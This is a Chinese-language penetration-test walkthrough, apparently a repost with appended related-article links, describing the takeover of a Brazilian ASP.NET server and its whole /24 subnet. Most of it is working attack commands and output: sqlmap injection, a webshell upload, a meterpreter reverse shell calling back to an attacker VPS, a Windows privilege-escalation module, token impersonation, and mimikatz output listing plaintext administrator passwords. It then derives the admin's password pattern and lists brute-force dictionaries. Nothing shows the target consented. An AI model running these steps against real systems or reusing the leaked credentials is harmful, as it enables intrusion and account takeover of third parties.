0x01 前言

Date/time:2015年,这次渗透测试中发现已经拿下的几台机器的管理员密码存在一定规律性,最终通过分析密码规律、组合新密码成功拿下目标整个C段机器权限,个人感觉这是个不错的内网通用/规律密码实战案例,所以想着还是记录一下吧。

0x02 Getshell过程

网站基本信息探测:

目标站点:http://www.that****elos.com.br
服务器IP:189.**.**.204(巴西)
环境平台:ASP.NET
服务器系统:Windows

这个网站禁止国内IP访问,所以只能上墙去做测试了,先用Chrome浏览器插件和指纹识别网站都未能得到服务器系统具体版本,不过根据个人经验猜测这应该是台Windows2003。

Chrome浏览器插件:Server Details 1.0.12、Wappalyzer
服务器系统识别:http://fuwuqixitongshibie.51240.com/?q=
网站后台地址:http://www.that****elos.com.br/admin/

接着我们用Safe3WVS_v10.1漏洞扫描工具成功找到几处注入,并使用sqlmap工具验证这个注入点确实是存在的,并且已经跑出管理员的表和列,只不过在跑管理员用户密码时报错了。

跑表名:

sqlmap -u "http://www.that****elos.com.br/detalhe_produto.asp?codProd=510" --tables
[7 tables]:categorias,clientes,destaques,itens,pedidos,produtos,usuarios

跑列名:

sqlmap -u "http://www.that****elos.com.br/detalhe_produto.asp?codProd=510" -T "usuarios" --columns
[5 columns]:codusuario,email,login,nome,senha

跑数据:

sqlmap -u "http://www.that****elos.com.br/detalhe_produto.asp?codProd=510" --dbms access -T "usuarios" -C "email,login,senha" --dump --threads 10

这里不去纠结为什么在sqlmap跑数据时会报错,既然已经得到管理员的表和列,那么就可以直接利用其它注入工具来跑管理员用户密码了,如:阿D、明小子等注入工具,灵活运用嘛!

通过这个注入点成功得到网站管理员帐号和密码,登录网站后台并找到一处无任何过滤的上传,直接传了一个ASP的图片马,就这样很顺利的拿到这个站的Webshell权限。

0x03 实战提权过程

服务器基本信息探测:

端口开放:21、80、135、443、445、873、65432
补丁情况:打了750+系统补丁(Windows 2003 x86)
脚本探测:仅支持ASP脚本文件,不支持PHP、ASPX
磁盘权限:C盘部分文件夹有可读/写权限,不能跨站

搞了这么久也是第一次遇到打750+补丁的2003机器,虽然知道利用提权EXP搞下的机率不大,但还是得尝试下不是,说不定就“成”了呢,尝试了以下这些提权EXP,最终结果在意料之中,失败了。

pr.exe,Churrasco.exe,2003.exe,NDProxy.exe,iis6.exe,MS11-046.exe,MS10-048.exe,MS11-080.exe,MS13-051.exe,debug.exe......

我们再来试下ms14_058_track_popup_menu提权模块,由于目标禁止国内IP地址访问,所以在运行攻击载荷文件后无法获取到目标机器会话,所以笔者是在国外VPS上进行测试的。

root@c2unix:~# msfpayload windows/meterpreter/reverse_tcp LHOST=37.*.**.52 LPORT=443 X > /media/sf_Temp/test.exe
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 37.*.**.52
msf exploit(handler) > set lport 443
msf exploit(handler) > exploit[*] Started reverse handler on 37.*.**.52:443
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 189.**.**.204
[*] Meterpreter session 1 opened (37.*.**.52:443 -> 189.**.**.204:1150) at 2015-01-01 13:48:01 +0000

查看当前会话权限、系统信息,尝试使用getsystem提权,没有成功,将当前会话放置后台运行,继续加载ms14_058_track_popup_menu提权模块进行测试。

meterpreter > getuid
Server username: $U$AUTORIDADE NT\SERVIO LOCAL-0x4155544f524944414445204e545c5345525649c74f204c4f43414c
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied.
meterpreter > sysinfo
Computer        : WEB200
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Architecture    : x86
System Language : pt_BR
Meterpreter     : x86/win32
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > set payload windows/meterpreter/reverse_tcp
msf exploit(ms14_058_track_popup_menu) > set lhost 37.*.**.52
msf exploit(ms14_058_track_popup_menu) > set lport 443
msf exploit(ms14_058_track_popup_menu) > set session 1
msf exploit(ms14_058_track_popup_menu) > exploit[*] Started reverse handler on 37.*.**.52:443
[*] Launching notepad to host the exploit...
[+] Process 11464 launched.
[*] Reflectively injecting the exploit DLL into 11464...
[*] Injecting exploit into 11464...
[*] Exploit injected. Injecting payload into 11464...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (770048 bytes) to 189.**.**.204
[*] Meterpreter session 2 opened (37.*.**.52:443 -> 189.**.**.204:1788) at 2015-01-01 14:03:44 +0000

这里可以看到利用ms14_058_track_popup_menu提权模块后得到一个新的meterpreter会话,但仍然是普通权限,在以往的实战案例中曾多次碰到过这种情况,具体原因不明,也没去深入研究。

meterpreter > getuid
Server username: $U$AUTORIDADE NT\SERVIO LOCAL-0x4155544f524944414445204e545c5345525649c74f204c4f43414c
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied.
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.

ms14_058_track_popup_menu提权模块失败,笔者陷入深思......,突然想到meterpreter下还有个incognito拓展,可以用来盗窃目标主机的令牌或假冒用户。

我们先看下这台服务器里有几个管理员用户,方便后面找管理员可用令牌,可以看到除了默认的Administrator,还有一个cronjob。

list_tokens -u列出可用用户令牌,这列出来的可用用户令牌太多了,笔者用...Snip...省略了一部分,可以看到可用用户令牌中有cronjob管理员令牌。

列出可用用户令牌:

meterpreter > use incognito
Loading extension incognito...success.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be availableCall rev2self if primary process token is SYSTEMDelegation Tokens Available
========================================
AUTORIDADE NT\SERVI?O LOCAL
WEB200\aewcorp
WEB200\attcorreia
WEB200\cronjob
WEB200\sueddesigner
...Snip...Impersonation Tokens Available
========================================
WEB200\aluggo
WEB200\ciacompropaganda
WEB200\datahome
WEB200\ipirangacontabil
WEB200\web200
...Snip...

假冒cronjob用户令牌:

meterpreter > impersonate_token WEB200\\cronjob
[-] Warning: Not currently running as SYSTEM, not all tokens will be availableCall rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user WEB200\cronjob
meterpreter > getuid
Server username: WEB200\estoquedomarmorista
meterpreter > hashdump
...Snip...

当前机器IP地址为:189.**.**.204,远程端口号:65432,计算机名称:WEB200,使用meterpreter下的mimikatz法国神器抓到的目标系统明文密码如下,管理员哈希密码均无法破解(>=16位)。

0;980627246        NTLM      WEB200      Administrador      w3b200r0x0271114
0;3450401626       NTLM      WEB200      cronjob            016b2023ee9b897ca643
0;1214252650       NTLM      WEB200      web200             p1cadasgalaxi4s
0;1236893630       NTLM      WEB200      thatycabelos       vbs147369
0;74485534         NTLM      WEB200      iis_user           123abc!#

利用一些常见的漏洞又拿到了C段中189.**.**.9、189.**.**.55服务器的Webshell权限,在提权时发现与刚提的204那台服务器有很多类似之处。

如:部分文件夹权限、上传cmd.exe执行命令、服务器系统主机名、部分命令权限不足、一样的远程端口号等等。

只是不能执行我们自己上传的提权EXP,提示0x2331错误,如下图所示。但是好像只要服务器重启后又可以正常执行提权EXP了,或者可以尝试将上传的提权EXP后缀改为TXT。

0x04 密码/域名规律

根据在几台机器上得到的一些信息和个人经验来说,基本可以确定这个C段中的所有机器为同一个管理员,所以管理员使用的密码肯定是有规律可寻的,接下来我们一起分析下他的密码规律是怎样的。

(1) 密码规律分析

几台机器上常用管理员用户有:Administrador,cronjob。189.**.**.204这台服务器的Administrador密码为:w3b200r0x0271114,密码规律主要与主机名中的3位数字有关,与IP地址无关。

w3b = 固定值,200 = 计算机名称(3位数字),r0x0271114 = 固定值

使用WPS表格函数提取主机名3位数字:=RIGHT(H2,3),组合一个新密码:=B2&C2&D2,最终通过密码规律组合出C段189.**.**.9、189.**.**.55这两台机器的管理员密码,如下图。

目前只能通过已控机器得知他的主机名,那我们在没有拿到C段其他机器的Webshell权限时怎么得到他的主机名呢?或者说有没有办法直接进入C段其他服务器呢?当然是有的,这里仅提供一个思路。

爆破思路:

RDP默认端口为3389,拿下的几台机器RDP端口为65432,我们可以根据找到的密码规律生成一个高效字典对189.**.**.X这个段所有IP进行RDP爆破,主机名3位数字控制在300即可,如果不行再增加。

w3b200r0x0271114
w3b201r0x0271114
w3b202r0x0271114
w3b203r0x0271114
w3b204r0x0271114
w3b205r0x0271114
w3b206r0x0271114
w3b207r0x0271114
w3b208r0x0271114
w3b209r0x0271114
w3b210r0x0271114
...Snip...

(2) 域名规律分析

在测试中多次看到“主机名.test.net”这样的子域,访问了几个后证实了我的想法:管理员在每台服务器上都解析了这样一个子域,命名规律为:主机名.test.net。

知道域名规律后就可以省去拿Webshell了,直接就能得到主机名,最后再通过组合密码进入C段其他机器,测试了10几台都是OK的。

形象比喻:

C段所有机器沦陷 = 密码规律 + 主机名 + 域名规律,密码规律 = 父亲,主机名 = 儿子,域名规律 = 母亲,父亲和母亲都需要儿子,只有在一起生活才算得上是一个完整家庭,缺一不可。

思路拓展:

根据域名规律生成高效“主机名.test.net”子域字典,主机名控制在300即可,然后通过脚本批量Ping这些子域得到C段存活机器的IP地址和对应主机名,然后再根据密码规律组合出新密码。

web200.test.net
web201.test.net
web202.test.net
web203.test.net
web204.test.net
web205.test.net
web206.test.net
web207.test.net
web208.test.net
web209.test.net
web210.test.net
...Snip...

我们可以直接用WPS表格函数组合一个新密码:=B2&(RIGHT(LEFT(E2,6),3)&D2),最终通过密码规律组合出C段所有存活机器的管理员密码,如下图。

0x05 总结

在内/域环境中我们时常会遇到通用/规律密码,一般会以主机名、IP地址、年份以及常用字符123/qwe/!@#等做为规律,也可以分析网站后台、中间件、数据库、第三方软件等等各类密码的共同点和规律,然后再组合生成高效字典进行爆破,借用@亮神的一句话:渗透的本质是信息搜集。

1.对目标系统进行信息收集,这里通过在线CMS指纹识别出系统为windows 2003 IIS6.0,且通过御剑目录扫描工具发现网站管理员后台目录为admin
2.使用Safe3WVS_v10.1漏洞扫描工具成功找到几处注入,并使用sqlmap工具验证这个注入点确实是存在的,并且已经跑出管理员的表和列,但是无法跑出用户名和密码
跑表名:
sqlmap -u "http://www.that****elos.com.br/detalhe_produto.asp?codProd=510" --tables
跑列名:
sqlmap -u "http://www.that****elos.com.br/detalhe_produto.asp?codProd=510" -T "usuarios" --columns
跑数据:
sqlmap -u "http://www.that****elos.com.br/detalhe_produto.asp?codProd=510" --dbms access -T "usuarios" -C "email,login,senha" --dump --threads 10
3.这里使用阿D扫描工具对注入点进行注入出用户名和密码,通过 md5解密工具对密码hash值成功解密,然后通过到网站管理员帐号和密码成功登陆后台
4.在网站的后台发现有一处附件上传,可成功上传一个asp的图片木马1.asp;.jpg,可通过菜刀成功连接一句话
5.通过菜刀将asp大马上传到目标网站,然后通过其大马的端口扫描功能发现目标开放了21、80、135、443、445、873、65432等端口
其使用命令systeminfo发现补丁已打了750,仅支持ASP脚本文件,不支持PHP、ASPX,C盘部分文件夹有可读/写权限,执行 whomai命令,发现是iis权限
使用prr,Churrasco等都不能提权.
6.在公网上执行生成MSF后门
sfpayload windows/meterpreter/reverse_tcp LHOST=37.*.**.52 LPORT=443 X > /media/sf_Temp/test.exe
8.然后将test.exe 通过asp大马上传到目标C盘可读写目录下执行
c:/test.exe
9.在公网上执行MSF进行监听,并成功获得反弹shell
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 37.*.**.52
msf exploit(handler) > set lport 443
msf exploit(handler) > exploit
10.查看当前会话权限、系统信息,尝试使用getsystem提权,没有成功,将当前会话放置后台运行
meterpreter > getuid
meterpreter > getsystem
meterpreter > sysinfo
meterpreter > background
12.加载ms14_058_track_popup_menu提权模块进行提权,发现提权失败,任然是IIS权限
msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > set payload windows/meterpreter/reverse_tcp
msf exploit(ms14_058_track_popup_menu) > set lhost 37.*.**.52
msf exploit(ms14_058_track_popup_menu) > set lport 443
msf exploit(ms14_058_track_popup_menu) > set session 1
msf exploit(ms14_058_track_popup_menu) > exploit
meterpreter > getuid
meterpreter > getsystem
13.查看管理员组成员,发现有amdinistrator和cronjob
meterpreter > shell
c:/net localgroup  administrators
14.list_tokens -u列出可用用户令牌,可以看到可用用户令牌中有cronjob管理员令牌
meterpreter > use incognito
meterpreter > list_tokens -u
WEB200\cronjob
15.假冒cronjob用户令牌
meterpreter > impersonate_token WEB200\\cronjob
meterpreter > getuid
Server username: WEB200\estoquedomarmorista
meterpreter > hashdump  //成功dump出hash值
16.当前机器IP地址为:189.**.**.204,远程端口号:65432,计算机名称:WEB200,使用meterpreter下的mimikatz法国神器抓到的目标系统明文密码如下,管理员哈希密码均无法破解
17.利用一些常见的漏洞又拿到了C段中189.**.**.9、189.**.**.55服务器的Webshell权限,在提权时发现与刚提的204那台服务器有很多类似之
18.几台C段机器上常用管理员用户有:Administrador,cronjob。189.**.**.204这台服务器的Administrado,r密码为:w3b200r0x0271114,密码规律主要与主机名中的3位数字有关,与IP地址无关。
w3b = 固定值,200 = 计算机名称(3位数字),r0x0271114 = 固定值
19.管理员在每台服务器上都解析了这样一个子域,命名规律为:主机名.test.net,知道域名规律后就可以省去拿Webshell了,直接就能得到主机名,最后再通过组合密码进入C段其他机器
20.根据域名规律生成高效“主机名.test.net”子域字典,主机名控制在300即可,然后通过脚本批量Ping这些子域得到C段存活机器的IP地址和对应主机名,然后再根据密码规律组合出新密码
原文链接: https://cloud.tencent.com/developer/article/1825616

看我如何快速拿下整个C段主机权限相关推荐

  1. php.ini disable_functions 配置 无效,看我深夜如何绕过disable_functions拿到主机权限

    找了一会找到一个上传点,尝试上传文件 拿到shell 用冰蝎连一下: 三.开启外链拿到数据库 然后尝试找他的数据库的配置文件,因为只能本地连接数据库不允许外链,所以我们可以先传一个小马登录他的数据库, ...

  2. 软件外包项目这样做,快速拿下一个个项目金!

    IT外包行业风起云涌,发生了很大变化,由过去的向外出租人头,转向项目外包(确定项目范围和固定的外包价格),外包公司的工作人员不需再到甲方的办公场所,只需要外包公司在规定时间内完成项目即可. 用什么样的 ...

  3. OBCE 认证第一人莅临直播间|助你快速拿下 OBCA OBCP 证书

    OceanBase 入门到实战教程直播已经陆续进行八期了,集结了近 2000 名学员,每期直播大家都有各种疑问,其中问得最多的一个问题便是:OBCA 和 OBCP 认证相关问题. 本周,针对它的专场直 ...

  4. 把Excel表格发给领导看,如何快速查找表格改动的地方?

    把Excel表格发给领导看,如何快速查找表格改动的地方? 目录 把Excel表格发给领导看,如何快速查找表格改动的地方? 1.首先在把表格发给领导前复制一个工作表,鼠标放置工作表名称位置,鼠标右键点击 ...

  5. 打印CAD图纸,CAD看图同时快速打印

    今天就给大家简单分享一下,使用CAD看图软件,打印CAD图纸,CAD看图同时快速打印的教程.演示操作如下: 1.在浏览器搜索"CAD"进入网页下载安装CAD看图软件.启动运行软件. ...

  6. 查看计算机的桌面代码,电脑桌面图标的箭头看着太闹心?一段代码轻松去除

    原标题:电脑桌面图标的箭头看着太闹心?一段代码轻松去除 我们的电脑安装软件后,如果创建桌面快捷方式,总会带有一个小箭头,有些朋友很不喜欢,觉得影响了电脑桌面的美观.这两天正好有粉丝朋友咨询了如何去除箭 ...

  7. 计算机主机开机为什么显示器不开,电脑开机显示器不显示?教你如何快速判断是显示器还是主机问题!...

    当我们玩电脑的时候,经常遇到主机开起来了,显示器却不显示器的问题,在这里,我来教大家如何快速判断是显示器问题还是主机问题! 显示器不显示,我们首先看显示器的电源指示灯有没有亮,如果亮了,说明进了电,电 ...

  8. linux列举网卡,linux下快速列出局域网中所有主机名(计算机名)的脚本

    linux下快速列出局域网中所有主机名(计算机名)的脚本,脚本,主机名,网中,站长站,命令 linux下快速列出局域网中所有主机名(计算机名)的脚本 易采站长站,站长之家为您整理了linux下快速列出 ...

  9. 渗透测试-C段主机信息收集

    提示:提示:注意:网络安全环境需要大家共同维护,请大家共同遵守网络安全规章制度,仅供大家参考,造成的法律后果,不由本人承担 文章目录 一.C段 二.C段信息收集 1. Nmap扫描获取C段信息 2. ...

最新文章

  1. R语言ggplot2可视化散点图并使用scale_y_log10函数配置Y轴对数坐标、使用ggforce包的facet_zoom函数将可视化结果中需要突出放大的区域进行放大(Zoom in)
  2. 让 PM 全面理解深度学习
  3. Hyper-V和多处理器虚机
  4. php asserttrue,PHP8.0的新特性:错误处理方面已经改进
  5. 中台产品经理能力模型
  6. 华东交通大学ACM-ICPC训练基地简介
  7. k8s1.11.0安装、一个master、一个node、查看node名称是ip、node是扩容进来的、带cadvisor监控服务...
  8. Mysql的备份与恢复类型
  9. python在化学中的应用_用Python配平化学方程式的方法
  10. ROS入门之创建节点
  11. ER图(实体联系图)
  12. 2018最新win10激活密匙
  13. 用来向服务器发送邮件的协议是,电子邮件协议中用于发送邮件的协议是
  14. excel删除重复的行_如何在Excel中删除重复的行
  15. 【文智背后的奥秘】系列篇——结构化抽取平台
  16. 发表论文怎样确定刊物的级别
  17. java 实现汉字转换拼音_Java实现汉字转换为拼音
  18. 打包aab_聚餐买单AA制已经过时了 AAB制、AABB制、BBK制,你选哪个?
  19. Js逆向教程22-AST 抽象语法树babel安装
  20. 牛客竞赛数学专题班生成函数I 题解

热门文章

  1. 云服务器搭建nacos服务
  2. jquery显示、隐藏div
  3. pdf转换成jpg转换器的使用方法
  4. Python 用turtle画多个八边形组成的蜘蛛网
  5. element ui走马灯怎么添加_element-ui对话框与走马灯一起用
  6. 嘘!捡漏啦!1919元=高性能电脑,满额+500京东卡...
  7. 网卡和网卡的驱动程序
  8. SAS 系统全称为Statistics Analysis System
  9. Keil_uvision 基本使用教程
  10. 发送报警信息到微信公众号